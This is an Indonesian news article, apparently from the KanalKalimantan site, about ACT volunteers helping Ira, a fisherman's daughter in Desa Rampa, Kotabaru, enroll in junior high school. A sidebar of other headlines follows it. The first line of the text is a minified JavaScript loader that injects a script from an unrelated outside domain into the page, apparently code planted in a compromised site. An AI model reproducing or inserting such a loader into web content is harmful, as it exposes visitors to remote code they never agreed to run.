(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Sambung Kembali Cita-Cita Ira Lanjutkan Sekolah


KOTABARU “Bude, Saya ingin sekolah,” tangis Ira. Keinginan ini Ira sampaikan kepada Founder Rumah Belajar Desa Rampa Wahyuningsih dan Masyarakat Relawan Indonesia (MRI) Kotabaru, dua pekan yang lalu, Jumat (21/6). Niat besar Ira untuk melanjutkan sekolah SMP ternyata tak mendapat restu. Orang tuanya tidak mengizinkan.

“Saya ingin Ira tetap sekolah, tapi kami tidak punya biaya. Sedangkan bapaknya sudah satu bulan sejak Ramadhan tidak melaut, cuaca sedang tidak baik,” cerita Nahriah, Ibu Ira mencurahkan keluh kesahnya begitu ditemui tim MRI-ACT. Menurut Nahriah, perlu biaya Rp 700 ribu hingga Rp 1,5 juta untuk mendaftar SMP.

Ria Ira Wati. Demikian nama bocah itu. Ia adalah salah satu anak Desa Rampa, Kecamatan Pulau Laut Utara, yang juga aktif mengikuti kegiatan Rumah Belajar binaan MRI-ACT di Kotabaru. Setiap pekan, para relawan melakukan pendampingan belajar kepada Ira dan 40 anak lainnya.

Kehidupan nelayan di Desa Rampa memang cenderung memprihatinkan. Banyak dari mereka yang terlilit hutang karena hasil laut yang tak tentu. Akibatnya, anak-anak mereka terpaksa putus sekolah karena keluarga tidak punya biaya.

“Kebanyakan anak laki-laki membantu orang tua bekerja ke laut. Yang perempuan kebanyakan dinikahkan,” ungkap Wahyuningsih.

MSR – ACT Kalimantan Selatan pun berikhtiar membantu sejumlah anak. Saat ini, Ira menjadi anak didik yang diikhtiarkan melanjutkan sekolah. Tim relawan mendaftarkan Ira ke SMP sekaligus membeli perlengkapan sekolah pada Jumat (28/6).

“Terima kasih kakak-kakak,” ucap Ira, masih dengan senyum lebar di wajah, kepada tim MSR – ACT Kalsel. Tangis Ira kini berubah tawa. Sumringah wajahnya menunjukkan seragam putih biru dan sepasang sepatu baru. Nahriah, sang ibu juga tidak kalah bahagia. “Alhamdulillah terima kasih banyak atas bantuan ACT anak saya bisa sekolah SMP,” ungkapnya.

MRI-ACT Kalsel sudah mendampingi anak-anak Desa Rampa sejak April 2019 silam. “Alhamdulillah kami sudah secara rutin mengajar di Rumah Belajar, menjaga semangat anak-anak di sana untuk terus menggantungkan cita setinggi-tingginya,” jelas Ketua MRI Kotabaru Hamas Al Qasam. Hamas berharap puluhan anak yang saat ini mereka dampingi bisa mengenyam pendidikan hingga jenjang perguruan tinggi.

Selain membantu anak-anak agar tidak putus sekolah, ACT Kalsel juga akan membantu renovasi Rumah Belajar milik Wahyuningsih. “Alhamdulillah donasi sudah mulai terkumpul, semoga dalam waktu dekat kami bisa memperbaiki tempat belajar anak-anak,” lanjut Hamas.(retno/act)

Reporter:ACT
Editor:Cell

Desy Arfianty

Recent Posts

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

3 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

3 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

6 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

9 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

18 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

19 jam ago

This website uses cookies.